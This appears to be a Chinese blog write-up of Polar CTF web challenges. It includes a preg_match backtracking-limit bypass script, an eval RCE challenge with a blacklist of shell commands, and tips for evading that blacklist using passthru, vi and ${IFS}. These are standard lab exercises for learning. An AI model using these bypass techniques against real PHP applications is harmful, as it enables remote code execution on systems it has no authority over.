[DS]Polar靶场web(一)

本文描述了一个技术挑战,涉及如何通过绕过系统函数过滤和使用特定技巧(如swp文件、回溯和JSFuck编码)来获取flag。作者分享了如何利用POST数据和PHP函数实现远程代码执行(RCE)并找到隐藏的flag。
摘要由CSDN通过智能技术生成

静以养心,宽以养气。

跟着Dream ZHO大神学专升安的一天

swp

直接dirb扫出.index.php.swp的目录

function jiuzhe($xdmtql){
    return preg_match('/sys.*nb/is',$xdmtql);//如果包含以 "sys" 开始,后跟任意字符直到 "nb" 的字符串,返回true
}

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){//非数组
    if(!jiuzhe($xdmtql)){
        if(strpos($xdmtql,'sys nb')!==false){如果$xdmtql匹配到sys nb则输出flag{*******}
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';
    }
}

 我们要想得到flag要满足:$xdmtql非数组,不匹配/sys.*nb/is,但是要匹配strpos($xdmtql,'sys nb')为true

这样我们可以用回溯绕过,pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。直接上脚本。

import requests
request=requests.post('http://24aac5d4-fc13-414a-8c21-62130c090777.www.polarctf.com:8090/',data={'xdmtql':'sys nb'+'-'*1000000})
print(request.text)

简单rce

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

这题过滤了cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen这么多函数,但是他过滤,关我什么事,我们仍可以用echo和passthru来查看目录,空格用%0a或{$IFS}代替,读取文件用vi。

下面直接开打!!!

蜜雪冰城吉警店

只要把任意id改为9即可

召唤神龙

直接看源码,发现js有jsfuck编码

在浏览器解密一下就出来了

seek flag

查看源码一眼robots.txt

发现了flag3,那我们再找另两部分

抓个包看看

发现flag2,将id设为1发现flag1

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值